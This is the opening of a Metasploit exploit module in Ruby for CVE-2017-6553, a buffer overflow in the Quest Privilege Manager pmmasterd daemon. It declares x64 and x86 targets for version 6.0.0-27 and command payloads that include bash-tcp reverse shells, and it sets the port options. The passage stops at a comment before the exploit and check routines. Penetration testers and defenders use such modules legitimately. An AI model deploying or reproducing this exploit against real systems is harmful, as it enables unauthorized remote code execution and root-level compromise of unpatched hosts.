## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow', 'Description' => %q{ This modules exploits a buffer overflow in the Quest Privilege Manager, a software used to integrate Active Directory with Linux and Unix systems. The vulnerability exists in the pmmasterd daemon, and can only triggered when the host has been configured as a policy server ( Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow condition exists when handling requests of type ACT_ALERT_EVENT, where the size of a memcpy can be controlled by the attacker. This module only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also vulnerable, but not supported by this module (a stack cookie bypass is required). NOTE: To use this module it is required to be able to bind a privileged port ( <=1024 ) as the server refuses connections coming from unprivileged ports, which in most situations means that root privileges are required. }, 'Author' => [ 'm0t' ], 'References' => [ ['CVE', '2017-6553'], ['URL', 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/'] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic python perl ruby openssl bash-tcp' } }, 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Targets' => [ ['Quest Privilege Manager pmmasterd 6.0.0-27 x64', { exploit: :exploit_x64, check: :check_x64 } ], ['Quest Privilege Manager pmmasterd 6.0.0-27 x86', { exploit: :exploit_x86, check: :check_x86 } ] ], 'Privileged' => true, 'DisclosureDate' => 'Apr 09 2017', 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(12345), Opt::CPORT(rand(1024)) ] ) end # definitely not stealthy! sends a crashing request, if the socket dies, or # the output is partial it assumes the target has crashed.
